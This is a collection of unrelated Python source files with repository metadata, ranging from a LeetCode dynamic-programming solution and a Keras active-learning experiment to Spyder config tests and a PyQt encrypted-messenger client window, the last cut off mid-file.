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''' https://leetcode.com/problems/paint-house/ There is a row of n houses, where each house can be painted one of three colors: red, blue, or green. The cost of painting each house with a certain color is different. You have to paint all the houses such that no two adjacent houses have the same color. The cost of painting each house with a certain color is represented by a n x 3 cost matrix. For example, costs[0][0] is the cost of painting house 0 with the color red; costs[1][2] is the cost of painting house 1 with color green, and so on... Find the minimum cost to paint all houses. Example 1: Input: costs = [[17,2,17],[16,16,5],[14,3,19]] Output: 10 Explanation: Paint house 0 into blue, paint house 1 into green, paint house 2 into blue. Minimum cost: 2 + 5 + 3 = 10. ''' ''' Dynamic Programming. Time:O(n) Space:O(1) ''' class Solution: def minCost(self, costs: List[List[int]]) -> int: if not costs: return 0 dp = [[0 for _ in range(3)]for _ in range(len(costs))] dp[0] = costs[0] for i in range(1, len(costs)): dp[i][0] = costs[i][0]+min(dp[i-1][1], dp[i-1][2]) dp[i][1] = costs[i][1]+min(dp[i-1][0], dp[i-1][2]) dp[i][2] = costs[i][2]+min(dp[i-1][1], dp[i-1][0]) return min(dp[-1]) ''' Memoization. Time:O(n) Space:O(n) ''' class Solution: def minCost(self, costs: List[List[int]]) -> int: def paint(n, color): if (n, color) in self.memo: return self.memo[(n, color)] money = costs[n][color] if n==len(costs)-1: pass elif color==0: money += min(paint(n+1, 1), paint(n+1, 2)) elif color==1: money += min(paint(n+1, 0), paint(n+1, 2)) elif color==2: money += min(paint(n+1, 1), paint(n+1, 0)) self.memo[(n,color)] = money return money if costs == []: return 0 self.memo = {} return min(paint(0,0), paint(0,1), paint(0,2))

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fafaschiavo/contrAI

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import socket import json import os import glob from threading import Thread import time import sys import os import subprocess import cv2 sys.path.append(os.path.join(os.path.dirname(sys.argv[0]), "subfolder")) screenshots_folder = 'screenshots' keep_socket_alive = True data_received = '' data_to_send = False class socketThread(Thread): IP = '127.0.0.1' input_port = 53475 output_port = 53474 def __init__(self, input_port, output_port): Thread.__init__(self) self.input_port = input_port self.output_port = output_port self.UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) self.listen_addr = (self.IP,input_port) self.UDPSock.bind(self.listen_addr) def run(self): global keep_socket_alive global data_received global data_to_send while True: if data_to_send: print 'flag 3' self.UDPSock.sendto(bytes(json.dumps(data_to_send)), (self.IP, self.output_port)) data_to_send = False socket_thread = socketThread(53475, 53474) socket_thread.daemon = True socket_thread.start() while True: time.sleep(0.5) print 'flag 1' data_to_send = { 'command': 'frameadvance', }

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fayschiavo@gmail.com

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# -*- coding: utf-8 -*- # # Copyright © Spyder Project Contributors # Licensed under the terms of the MIT License # (see spyder/__init__.py for details) """Tests for config/manager.py.""" # Standard library imports import os import os.path as osp import shutil import tempfile # Third party imports import pytest # Local imports from spyder.config.base import get_conf_path, get_conf_paths from spyder.config.manager import ConfigurationManager from spyder.plugins.console.plugin import Console from spyder.py3compat import configparser def clear_site_config(): """Delete all test site config folders.""" for path in get_conf_paths(): shutil.rmtree(path) def test_site_config_load(): """ Test that the site/system config preferences are loaded with correct precedence. """ clear_site_config() for i, path in enumerate(reversed(get_conf_paths())): exp_value = 100*(1 + i) content = '[main]\nmemory_usage/timeout = ' + str(exp_value) + '\n' conf_fpath = os.path.join(path, 'spyder.ini') with open(conf_fpath, 'w') as fh: fh.write(content) config = ConfigurationManager() config.reset_to_defaults() value = config.get('main', 'memory_usage/timeout') print(path, value, exp_value) assert value == exp_value clear_site_config() def test_external_plugin_config(qtbot): """ Test that config for external plugins is saved as expected. This includes a regression for part two (the shortcuts conflict) of issue spyder-ide/spyder#11132 """ clear_site_config() # Emulate an old Spyder 3 configuration spy3_config = """ [main] version = 1.0.0 [shortcuts] foo/bar = Alt+1 [ipython_console] startup/run_lines = """ conf_fpath = get_conf_path('spyder.ini') with open(conf_fpath, 'w') as f: f.write(spy3_config) # Create config manager manager = ConfigurationManager() # Set default options for the internal console Console.CONF_FILE = True defaults = [ ('internal_console', { 'max_line_count': 300, 'working_dir_history': 30, 'working_dir_adjusttocontents': False, 'wrap': True, 'codecompletion/auto': False, 'external_editor/path': 'SciTE', 'external_editor/gotoline': '-goto:' } ), ] Console.CONF_DEFAULTS = defaults # Register console plugin config manager.register_plugin(Console) # Assert the dummy shortcut is not present in the plugin config with pytest.raises(configparser.NoSectionError): manager.get_shortcut('foo', 'bar', plugin_name='internal_console') # Change an option in the console console = Console(None, configuration=manager) console.set_conf_option('max_line_count', 600) # Read config filew directly user_path = manager.get_user_config_path() with open(osp.join(user_path, 'spyder.ini'), 'r') as f: user_contents = f.read() plugin_path = manager.get_plugin_config_path('internal_console') with open(osp.join(plugin_path, 'spyder.ini'), 'r') as f: plugin_contents = f.read() # Assert that the change was written to the right config file assert 'max_line_count = 600' not in user_contents assert 'max_line_count = 600' in plugin_contents shutil.rmtree(plugin_path) Console.CONF_FILE = False clear_site_config() if __name__ == "__main__": pytest.main()

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from typing import Union import numpy as np import tulipy as ti from jesse.helpers import get_candle_source, same_length, slice_candles def hma(candles: np.ndarray, period: int = 5, source_type: str = "close", sequential: bool = False) -> Union[ float, np.ndarray]: """ Hull Moving Average :param candles: np.ndarray :param period: int - default: 5 :param source_type: str - default: "close" :param sequential: bool - default=False :return: float | np.ndarray """ candles = slice_candles(candles, sequential) source = get_candle_source(candles, source_type=source_type) res = ti.hma(np.ascontiguousarray(source), period=period) return same_length(candles, res) if sequential else res[-1]

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from rl.experiment import run from rl.util import args if __name__ == '__main__': run(args.experiment, **vars(args))

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py

from __future__ import print_function from keras.datasets import mnist from keras.preprocessing.image import ImageDataGenerator from keras.models import Sequential from keras.layers.core import Dense, Dropout, Activation, Flatten from keras.layers.convolutional import Convolution2D, MaxPooling2D from keras.optimizers import SGD, Adadelta, Adagrad, Adam from keras.utils import np_utils, generic_utils from six.moves import range import numpy as np import scipy as sp from keras import backend as K import random import scipy.io import matplotlib.pyplot as plt from keras.regularizers import l2, activity_l2 Experiments = 3 batch_size = 128 nb_classes = 10 #use a large number of epochs nb_epoch = 80 # input image dimensions img_rows, img_cols = 28, 28 # number of convolutional filters to use nb_filters = 32 # size of pooling area for max pooling nb_pool = 2 # convolution kernel size nb_conv = 3 score=0 all_accuracy = 0 acquisition_iterations = 290 #use a large number of dropout iterations Queries = 10 Experiments_All_Accuracy = np.zeros(shape=(acquisition_iterations+1)) for e in range(Experiments): print('Experiment Number ', e) # the data, shuffled and split between tran and test sets (X_train_All, y_train_All), (X_test, y_test) = mnist.load_data() X_train_All = X_train_All.reshape(X_train_All.shape[0], 1, img_rows, img_cols) X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols) random_split = np.asarray(random.sample(range(0,X_train_All.shape[0]), X_train_All.shape[0])) X_train_All = X_train_All[random_split, :, :, :] y_train_All = y_train_All[random_split] X_valid = X_train_All[10000:15000, :, :, :] y_valid = y_train_All[10000:15000] X_Pool = X_train_All[20000:60000, :, :, :] y_Pool = y_train_All[20000:60000] X_train_All = X_train_All[0:10000, :, :, :] y_train_All = y_train_All[0:10000] #training data to have equal distribution of classes idx_0 = np.array( np.where(y_train_All==0) ).T idx_0 = idx_0[0:10,0] X_0 = X_train_All[idx_0, :, :, :] y_0 = y_train_All[idx_0] idx_1 = np.array( np.where(y_train_All==1) ).T idx_1 = idx_1[0:10,0] X_1 = X_train_All[idx_1, :, :, :] y_1 = y_train_All[idx_1] idx_2 = np.array( np.where(y_train_All==2) ).T idx_2 = idx_2[0:10,0] X_2 = X_train_All[idx_2, :, :, :] y_2 = y_train_All[idx_2] idx_3 = np.array( np.where(y_train_All==3) ).T idx_3 = idx_3[0:10,0] X_3 = X_train_All[idx_3, :, :, :] y_3 = y_train_All[idx_3] idx_4 = np.array( np.where(y_train_All==4) ).T idx_4 = idx_4[0:10,0] X_4 = X_train_All[idx_4, :, :, :] y_4 = y_train_All[idx_4] idx_5 = np.array( np.where(y_train_All==5) ).T idx_5 = idx_5[0:10,0] X_5 = X_train_All[idx_5, :, :, :] y_5 = y_train_All[idx_5] idx_6 = np.array( np.where(y_train_All==6) ).T idx_6 = idx_6[0:10,0] X_6 = X_train_All[idx_6, :, :, :] y_6 = y_train_All[idx_6] idx_7 = np.array( np.where(y_train_All==7) ).T idx_7 = idx_7[0:10,0] X_7 = X_train_All[idx_7, :, :, :] y_7 = y_train_All[idx_7] idx_8 = np.array( np.where(y_train_All==8) ).T idx_8 = idx_8[0:10,0] X_8 = X_train_All[idx_8, :, :, :] y_8 = y_train_All[idx_8] idx_9 = np.array( np.where(y_train_All==9) ).T idx_9 = idx_9[0:10,0] X_9 = X_train_All[idx_9, :, :, :] y_9 = y_train_All[idx_9] X_train = np.concatenate((X_0, X_1, X_2, X_3, X_4, X_5, X_6, X_7, X_8, X_9), axis=0 ) y_train = np.concatenate((y_0, y_1, y_2, y_3, y_4, y_5, y_6, y_7, y_8, y_9), axis=0 ) print('X_train shape:', X_train.shape) print(X_train.shape[0], 'train samples') print('Distribution of Training Classes:', np.bincount(y_train)) X_train = X_train.astype('float32') X_test = X_test.astype('float32') X_valid = X_valid.astype('float32') X_Pool = X_Pool.astype('float32') X_train /= 255 X_valid /= 255 X_Pool /= 255 X_test /= 255 Y_test = np_utils.to_categorical(y_test, nb_classes) Y_valid = np_utils.to_categorical(y_valid, nb_classes) Y_Pool = np_utils.to_categorical(y_Pool, nb_classes) #loss values in each experiment Pool_Valid_Loss = np.zeros(shape=(nb_epoch, 1)) Pool_Train_Loss = np.zeros(shape=(nb_epoch, 1)) Pool_Valid_Acc = np.zeros(shape=(nb_epoch, 1)) Pool_Train_Acc = np.zeros(shape=(nb_epoch, 1)) x_pool_All = np.zeros(shape=(1)) Y_train = np_utils.to_categorical(y_train, nb_classes) print('Training Model Without Acquisitions in Experiment', e) model = Sequential() model.add(Convolution2D(nb_filters, nb_conv, nb_conv, border_mode='valid', input_shape=(1, img_rows, img_cols))) model.add(Activation('relu')) model.add(Convolution2D(nb_filters, nb_conv, nb_conv)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool))) model.add(Dropout(0.25)) model.add(Convolution2D(nb_filters*2, nb_conv, nb_conv, border_mode='valid', input_shape=(1, img_rows, img_cols))) model.add(Activation('relu')) model.add(Convolution2D(nb_filters*2, nb_conv, nb_conv)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool))) model.add(Dropout(0.25)) c = 10 Weight_Decay = c / float(X_train.shape[0]) model.add(Flatten()) model.add(Dense(128, W_regularizer=l2(Weight_Decay))) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(nb_classes)) model.add(Activation('softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam') hist = model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch, show_accuracy=True, verbose=1, validation_data=(X_valid, Y_valid)) Train_Result_Optimizer = hist.history Train_Loss = np.asarray(Train_Result_Optimizer.get('loss')) Train_Loss = np.array([Train_Loss]).T Valid_Loss = np.asarray(Train_Result_Optimizer.get('val_loss')) Valid_Loss = np.asarray([Valid_Loss]).T Train_Acc = np.asarray(Train_Result_Optimizer.get('acc')) Train_Acc = np.array([Train_Acc]).T Valid_Acc = np.asarray(Train_Result_Optimizer.get('val_acc')) Valid_Acc = np.asarray([Valid_Acc]).T Pool_Train_Loss = Train_Loss Pool_Valid_Loss = Valid_Loss Pool_Train_Acc = Train_Acc Pool_Valid_Acc = Valid_Acc Pool_Train_Loss = Train_Loss Pool_Valid_Loss = Valid_Loss print('Evaluating Test Accuracy Without Acquisition') score, acc = model.evaluate(X_test, Y_test, show_accuracy=True, verbose=0) all_accuracy = acc print('Starting Active Learning in Experiment ', e) for i in range(acquisition_iterations): print('POOLING ITERATION', i) print('Using trained model for Entropy Calculation') Class_Probability = model.predict_proba(X_Pool, batch_size=batch_size, verbose=1) Class_Log_Probability = np.log2(Class_Probability) Entropy_Each_Cell = - np.multiply(Class_Probability, Class_Log_Probability) Entropy = np.sum(Entropy_Each_Cell, axis=1) # summing across rows of the array #x_pool_index = np.unravel_index(Entropy.argmax(), Entropy.shape) #for finding the maximum value np.amax(Entropy) x_pool_index = Entropy.argsort()[-Queries:][::-1] # THIS FINDS THE INDEX OF THE MINIMUM # a_1d = Entropy.flatten() # x_pool_index = a_1d.argsort()[-N:] #saving pooled images # for im in range(x_pool_index[0:2].shape[0]): # Image = X_Pool[x_pool_index[im], :, :, :] # img = Image.reshape((28,28)) # sp.misc.imsave('/home/ri258/Documents/Project/Active-Learning-Deep-Convolutional-Neural-Networks/ConvNets/Cluster_Experiments/Max_Entropy/Pooled_Images/' + 'Experiment_' + str(e) +'Pool_Iter'+str(i)+'_Image_'+str(im)+'.jpg', img) #store all the pooled images indexes x_pool_All = np.append(x_pool_All, x_pool_index) Pooled_X = X_Pool[x_pool_index, :, :, :] Pooled_Y = y_Pool[x_pool_index] # true label from the oracle print('Acquised Points added to training set') X_train = np.concatenate((X_train, Pooled_X), axis=0) y_train = np.concatenate((y_train, Pooled_Y), axis=0) #delete the currently pooled points from the pool set X_Pool = np.delete(X_Pool, x_pool_index, 0) print('Training Model with pooled points') # convert class vectors to binary class matrices Y_train = np_utils.to_categorical(y_train, nb_classes) model = Sequential() model.add(Convolution2D(nb_filters, nb_conv, nb_conv, border_mode='valid', input_shape=(1, img_rows, img_cols))) model.add(Activation('relu')) model.add(Convolution2D(nb_filters, nb_conv, nb_conv)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool))) model.add(Dropout(0.25)) c = 10 Weight_Decay = c / float(X_train.shape[0]) model.add(Flatten()) model.add(Dense(128, W_regularizer=l2(Weight_Decay))) model.add(Activation('relu')) model.add(Dropout(0.5)) model.add(Dense(nb_classes)) model.add(Activation('softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam') hist = model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch, show_accuracy=True, verbose=1, validation_data=(X_valid, Y_valid)) Train_Result_Optimizer = hist.history Train_Loss = np.asarray(Train_Result_Optimizer.get('loss')) Train_Loss = np.array([Train_Loss]).T Valid_Loss = np.asarray(Train_Result_Optimizer.get('val_loss')) Valid_Loss = np.asarray([Valid_Loss]).T Train_Acc = np.asarray(Train_Result_Optimizer.get('acc')) Train_Acc = np.array([Train_Acc]).T Valid_Acc = np.asarray(Train_Result_Optimizer.get('val_acc')) Valid_Acc = np.asarray([Valid_Acc]).T #Accumulate the training and validation/test loss after every pooling iteration - for plotting Pool_Valid_Loss = np.append(Pool_Valid_Loss, Valid_Loss, axis=1) Pool_Train_Loss = np.append(Pool_Train_Loss, Train_Loss, axis=1) Pool_Valid_Acc = np.append(Pool_Valid_Acc, Valid_Acc, axis=1) Pool_Train_Acc = np.append(Pool_Train_Acc, Train_Acc, axis=1) print('Evaluate Model Test Accuracy with pooled points') score, acc = model.evaluate(X_test, Y_test, show_accuracy=True, verbose=0) print('Test score:', score) print('Test accuracy:', acc) all_accuracy = np.append(all_accuracy, acc) print('Use this trained model with pooled points for Dropout again') print('Storing Accuracy Values over experiments') Experiments_All_Accuracy = Experiments_All_Accuracy + all_accuracy print('Saving Results Per Experiment') np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+'Averaged_Main_Max_Entropy_Q10_N3000_Train_Loss_'+ 'Experiment_' + str(e) + '.npy', Pool_Train_Loss) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+ 'Averaged_Main_Max_Entropy_Q10_N3000_Valid_Loss_'+ 'Experiment_' + str(e) + '.npy', Pool_Valid_Loss) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+'Averaged_Main_Max_Entropy_Q10_N3000_Train_Acc_'+ 'Experiment_' + str(e) + '.npy', Pool_Train_Acc) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+ 'Averaged_Main_Max_Entropy_Q10_N3000_Valid_Acc_'+ 'Experiment_' + str(e) + '.npy', Pool_Valid_Acc) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+'Averaged_Main_Max_Entropy_Q10_N3000_Pooled_Image_Index_'+ 'Experiment_' + str(e) + '.npy', x_pool_All) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+ 'Averaged_Main_Max_Entropy_Q10_N3000_Accuracy_Results_'+ 'Experiment_' + str(e) + '.npy', all_accuracy) print('Saving Average Accuracy Over Experiments') Average_Accuracy = np.divide(Experiments_All_Accuracy, Experiments) np.save('/home/ri258/Documents/Project/MPhil_Thesis_Cluster_Experiments/ConvNets/Cluster_Experiments/Max_Entropy/Results/'+'Averaged_Main_Max_Entropy_Q10_N3000_Average_Accuracy'+'.npy', Average_Accuracy)

[ "riashat.islam.93@gmail.com" ]

riashat.islam.93@gmail.com

4feb30114b2c476812f4f003b8dcdf252ef3718e

e262e64415335060868e9f7f73ab8701e3be2f7b

/.history/demo1_20201107181245.py

2f6a553cf350e59408c1cbdc619074b719aa1300

[]

no_license

Allison001/developer_test

6e211f1e2bd4287ee26fd2b33baf1c6a8d80fc63

b8e04b4b248b0c10a35e93128a5323165990052c

refs/heads/master

2023-06-18T08:46:40.202383

2021-07-23T03:31:54

322,807,303

0

null

UTF-8

Python

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738

py

# import sys # import yaml # from demo import search # from demo import a # from demo import search1 # search("A") # print(a) # search1(12) # print(dir()) # print(sys.path) # name = "zhang" # age = 12 # print("my name is:{0},my age is:{1}".format(name,age)) # list1 = [1,3,2] # dic1 = {"a":1,"b":2} # print("List is :{},Dic is :{}".format(list1,dic1)) # print("list id :%s,Dic is :%s" %(list1,dic1)) # list = ["happy",'nause','doctor'] # print("my job is:%s,%s,%s" %(list[0],list[1],list[2])) # print("my job is:{},{},{}".format(*list)) # dic1 = {"name":"tom","age":12} # print("my name is:{name},my age is: {age}".format(**dic1)) # print("my name is:%s,my age is:%d" %(dic1["name"],dic1["age"])) name = "allison" age = 23

[ "zhangyingxbba@gmail.com" ]

zhangyingxbba@gmail.com

594eea4c930aca5711b3e1ffab4751c1af242b54

f35e820678dd9ba88195abf8739826222236736e

/client/main_window.py

8dbe6be3a4bda3d3d95751e68912d2e27cf10e79

[]

no_license

spoliv/Messenger

a58065b13cdfb7f41e4f0213ccc9383f4e4b1e4c

ecb1bb2559cc5a8b3f537f510eafb2c21f2a2fe5

refs/heads/master

2022-12-24T21:30:17.695897

2020-09-28T15:58:03

299,356,465

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py

from common.constants import * from common.errors import ServerError from client.start_dialog import UserNameDialog from client.transport import ClientTransfer, send_message from client.database import ClientDatabase from client.del_contact import DelContactDialog from client.add_contact import AddContactDialog from client.main_window_conv import Ui_MainClientWindow from PyQt5.QtWidgets import ( QMainWindow, qApp, QMessageBox, QApplication, QListView, QAction, QTextEdit, QFileDialog, QPushButton, QLabel, QHBoxLayout) from PyQt5.QtGui import QStandardItemModel, QStandardItem, QBrush, QColor, QIcon, QFont, QPixmap from PyQt5.QtCore import pyqtSlot, QEvent, Qt, QRect from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from PIL import Image import sys import json import logging import time import base64 sys.path.append('../') client_logger = logging.getLogger('client') # Класс основного окна class ClientMainWindow(QMainWindow): def __init__(self, database, transport, keys): super().__init__() # основные переменные self.database = database self.transport = transport # объект - дешифорвщик сообщений с предзагруженным ключём self.decrypter = PKCS1_OAEP.new(keys) # Загружаем конфигурацию окна из дизайнера self.ui = Ui_MainClientWindow() self.ui.setupUi(self) # Кнопка "Выход" self.ui.menu_exit.triggered.connect(qApp.exit) # Кнопка отправить сообщение self.ui.btn_send.clicked.connect(self.send_message) # "добавить контакт" self.ui.btn_add_contact.clicked.connect(self.add_contact_window) self.ui.menu_add_contact.triggered.connect(self.add_contact_window) # Удалить контакт self.ui.btn_remove_contact.clicked.connect(self.delete_contact_window) self.ui.menu_del_contact.triggered.connect(self.delete_contact_window) # Добавить аватар или выбрать из БД клиента self.ui.menu_add_avatar.triggered.connect(self.add_avat_user) self.ui.menu_select_avatar.triggered.connect(self.sel_avat_user) # Выбрать аватар # self.ui.btn_avatar.clicked.connect(self.select_avatar) # Кнопка Перейти в чат self.ui.btn_chat.clicked.connect(self.create_message_for_chat) # Кнопка поиска сообщений по имени пользователя self.ui.btn_search.clicked.connect(self.search_mess_on_name) # Дополнительные требующиеся атрибуты self.contacts_model = None self.history_model = None self.messages = QMessageBox() self.current_chat = None self.current_chat_key = None self.encryptor = None self.ui.list_messages.setHorizontalScrollBarPolicy( Qt.ScrollBarAlwaysOff) self.ui.list_messages.setWordWrap(True) # Даблклик по листу контактов отправляется в обработчик self.ui.list_contacts.doubleClicked.connect(self.select_active_user) # Добавляем туллбар с форматированием текста и смайликами our_bold = QAction(QIcon('img/b.jpg'), 'Bold', self) our_bold.triggered.connect(self.actionBold) our_italic = QAction(QIcon('img/i.jpg'), 'Italic', self) our_italic.triggered.connect(self.actionItalic) our_underlined = QAction(QIcon('img/u.jpg'), 'Underlined', self) our_underlined.triggered.connect(self.actionUnderlined) smile = QAction(QIcon('img/ab.gif'), 'Smile', self) smile.triggered.connect(self.actionSmile) melancholy = QAction(QIcon('img/ac.gif'), 'Melancholy', self) melancholy.triggered.connect(self.actionMelancholy) surprise = QAction(QIcon('img/ai.gif'), 'Surprise', self) surprise.triggered.connect(self.actionSurprise) # avatar = QAction(QIcon('avatar.jpg'), 'Avatar', self) # avatar.triggered.connect(self.actionSelectAvat) toolBar = self.addToolBar('Formatting') toolBar.addAction(our_bold) toolBar.addAction(our_italic) toolBar.addAction(our_underlined) toolBar.addAction(smile) toolBar.addAction(melancholy) toolBar.addAction(surprise) # toolBar.addAction(avatar) self.clients_list_update() self.set_disabled_input() self.show() def actionBold(self): myFont = QFont() myFont.setBold(True) self.ui.text_message.setFont(myFont) def actionItalic(self): myFont = QFont() myFont.setItalic(True) self.ui.text_message.setFont(myFont) def actionUnderlined(self): myFont = QFont() myFont.setUnderline(True) self.ui.text_message.setFont(myFont) def actionSmile(self): url = 'img/ab.gif' self.ui.text_message.setHtml('<img src="%s" />' % url) def actionMelancholy(self): url = 'img/ac.gif' self.ui.text_message.setHtml('<img src="%s" />' % url) def actionSurprise(self): url = 'img/ai.gif' self.ui.text_message.setHtml('<img src="%s" />' % url) # def actionSelectAvat(self): # pass # Деактивировать поля ввода def set_disabled_input(self): # Надпись - получатель. self.ui.label_new_message.setText( 'Для выбора получателя дважды кликните на нем в окне контактов.') self.ui.text_message.clear() if self.history_model: self.history_model.clear() # Поле ввода и кнопка отправки неактивны до выбора получателя. self.ui.btn_clear.setDisabled(True) self.ui.btn_send.setDisabled(True) self.ui.text_message.setDisabled(True) self.encryptor = None self.current_chat = None self.current_chat_key = None # Заполняем историю сообщений. def history_list_update(self): # Получаем историю сортированную по дате list = sorted( self.database.get_history( self.current_chat), key=lambda item: item[3]) # Если модель не создана, создадим. if not self.history_model: self.history_model = QStandardItemModel() self.ui.list_messages.setModel(self.history_model) # Очистим от старых записей self.history_model.clear() # Берём не более 20 последних записей. length = len(list) start_index = 0 if length > 20: start_index = length - 20 # Заполнение модели записями, так-же стоит разделить входящие и исходящие выравниванием и разным фоном. # Записи в обратном порядке, поэтому выбираем их с конца и не более 20 for i in range(start_index, length): item = list[i] if item[1] == 'in': mess = QStandardItem( f'Входящее от {item[3].replace(microsecond=0)}:\n {item[2]}') mess.setEditable(False) mess.setBackground(QBrush(QColor(255, 213, 213))) mess.setTextAlignment(Qt.AlignLeft) self.history_model.appendRow(mess) else: mess = QStandardItem( f'Исходящее от {item[3].replace(microsecond=0)}:\n {item[2]}') mess.setEditable(False) mess.setTextAlignment(Qt.AlignRight) mess.setBackground(QBrush(QColor(204, 255, 204))) self.history_model.appendRow(mess) self.ui.list_messages.scrollToBottom() # Функция обработчик даблклика по контакту def select_active_user(self): # Выбранный пользователем (даблклик) находится в выделеном элементе в # QListView self.current_chat = self.ui.list_contacts.currentIndex().data() # вызываем основную функцию self.set_active_user() # Функция устанавливающяя активного собеседника def set_active_user(self): # Запрашиваем публичный ключ пользователя и создаём объект шифрования try: self.current_chat_key = self.transport.key_request( self.current_chat) client_logger.debug( f'Загружен открытый ключ для {self.current_chat}') if self.current_chat_key: self.encryptor = PKCS1_OAEP.new( RSA.import_key(self.current_chat_key)) except (OSError, json.JSONDecodeError): self.current_chat_key = None self.encryptor = None client_logger.debug( f'Не удалось получить ключ для {self.current_chat}') # Если ключа нет то ошибка, что не удалось начать чат с пользователем if not self.current_chat_key: self.messages.warning( self, 'Ошибка', 'Для выбранного пользователя нет ключа шифрования.') return # Ставим надпись и активируем кнопки self.ui.label_new_message.setText( f'Введите сообщенние для {self.current_chat}:') self.ui.btn_clear.setDisabled(False) self.ui.btn_send.setDisabled(False) self.ui.text_message.setDisabled(False) # Заполняем окно историю сообщений по требуемому пользователю. self.history_list_update() # Функция обновляющяя контакт лист def clients_list_update(self): contacts_list = self.database.get_contacts() self.contacts_model = QStandardItemModel() for i in sorted(contacts_list): item = QStandardItem(i) item.setEditable(False) self.contacts_model.appendRow(item) self.ui.list_contacts.setModel(self.contacts_model) # Функция добавления контакта def add_contact_window(self): global select_dialog select_dialog = AddContactDialog(self.transport, self.database) select_dialog.btn_ok.clicked.connect( lambda: self.add_contact_action(select_dialog)) select_dialog.show() # Функция - обработчик добавления, сообщает серверу, обновляет таблицу и # список контактов def add_contact_action(self, item): new_contact = item.selector.currentText() self.add_contact(new_contact) item.close() # Функция добавляющяя контакт в базы def add_contact(self, new_contact): try: self.transport.add_contact(new_contact) except ServerError as err: self.messages.critical(self, 'Ошибка сервера', err.text) except OSError as err: if err.errno: self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() self.messages.critical(self, 'Ошибка', 'Таймаут соединения!') else: self.database.add_contact(new_contact) new_contact = QStandardItem(new_contact) new_contact.setEditable(False) self.contacts_model.appendRow(new_contact) client_logger.info(f'Успешно добавлен контакт {new_contact}') self.messages.information( self, 'Успех', 'Контакт успешно добавлен.') # Функция удаления контакта def delete_contact_window(self): global remove_dialog remove_dialog = DelContactDialog(self.database) remove_dialog.btn_ok.clicked.connect( lambda: self.delete_contact(remove_dialog)) remove_dialog.show() # Функция обработчик удаления контакта, сообщает на сервер, обновляет # таблицу контактов def delete_contact(self, item): selected = item.selector.currentText() try: self.transport.remove_contact(selected) except ServerError as err: self.messages.critical(self, 'Ошибка сервера', err.text) except OSError as err: if err.errno: self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() self.messages.critical(self, 'Ошибка', 'Таймаут соединения!') else: self.database.del_contact(selected) self.clients_list_update() client_logger.info(f'Успешно удалён контакт {selected}') self.messages.information(self, 'Успех', 'Контакт успешно удалён.') item.close() # Если удалён активный пользователь, то деактивируем поля ввода. if selected == self.current_chat: self.current_chat = None self.set_disabled_input() # Функция отправки собщения пользователю. def send_message(self): # Текст в поле, проверяем что поле не пустое затем забирается сообщение # и поле очищается message_text = self.ui.text_message.toPlainText() self.ui.text_message.clear() if not message_text: return # Шифруем сообщение ключом получателя и упаковываем в base64. message_text_encrypted = self.encryptor.encrypt( message_text.encode('utf8')) message_text_encrypted_base64 = base64.b64encode( message_text_encrypted) try: self.transport.send_message( self.current_chat, message_text_encrypted_base64.decode('ascii')) pass except ServerError as err: self.messages.critical(self, 'Ошибка', err.text) except OSError as err: if err.errno: self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() self.messages.critical(self, 'Ошибка', 'Таймаут соединения!') except (ConnectionResetError, ConnectionAbortedError): self.messages.critical( self, 'Ошибка', 'Потеряно соединение с сервером!') self.close() else: self.database.save_message(self.current_chat, 'out', message_text) client_logger.debug( f'Отправлено сообщение для {self.current_chat}: {message_text}') self.history_list_update() # Слот приёма нового сообщений @pyqtSlot(dict) def message(self, message): # Получаем строку байтов encrypted_message = base64.b64decode(message[MESSAGE_TEXT]) # Декодируем строку, при ошибке выдаём сообщение и завершаем функцию try: decrypted_message = self.decrypter.decrypt(encrypted_message) except (ValueError, TypeError): self.messages.warning( self, 'Ошибка', 'Не удалось декодировать сообщение.') return # Сохраняем сообщение в базу и обновляем историю сообщений или # открываем новый чат. self.database.save_message( self.current_chat, 'in', decrypted_message.decode('utf8')) sender = message[SENDER] if sender == self.current_chat: self.history_list_update() else: # Проверим есть ли такой пользователь у нас в контактах: if self.database.check_contact(sender): # Если есть, спрашиваем и желании открыть с ним чат и открываем # при желании if self.messages.question( self, 'Новое сообщение', f'Получено новое сообщение от {sender}, открыть чат с ним?', QMessageBox.Yes, QMessageBox.No) == QMessageBox.Yes: self.current_chat = sender self.set_active_user() else: print('NO') # Раз нету,спрашиваем хотим ли добавить юзера в контакты. if self.messages.question( self, 'Новое сообщение', f'Получено новое сообщение от {sender}.\n Данного пользователя нет в вашем контакт-листе.\n Добавить в контакты и открыть чат с ним?', QMessageBox.Yes, QMessageBox.No) == QMessageBox.Yes: self.add_contact(sender) self.current_chat = sender # Нужно заново сохранить сообщение, иначе оно будет потеряно, # т.к. на момент предыдущего вызова контакта не было. self.database.save_message( self.current_chat, 'in', decrypted_message.decode('utf8')) self.set_active_user() # Слот потери соединения # Выдаёт сообщение о ошибке и завершает работу приложения @pyqtSlot() def connection_lost(self): self.messages.warning( self, 'Сбой соединения', 'Потеряно соединение с сервером. ') self.close() # Слот сообщения 205 - требование сервером обновить справочники доступных пользователей и контактов # Может получиться так, что удалён текущий собеседник, надо проверить это и закрыть чат с предупреждением. # иначе просто 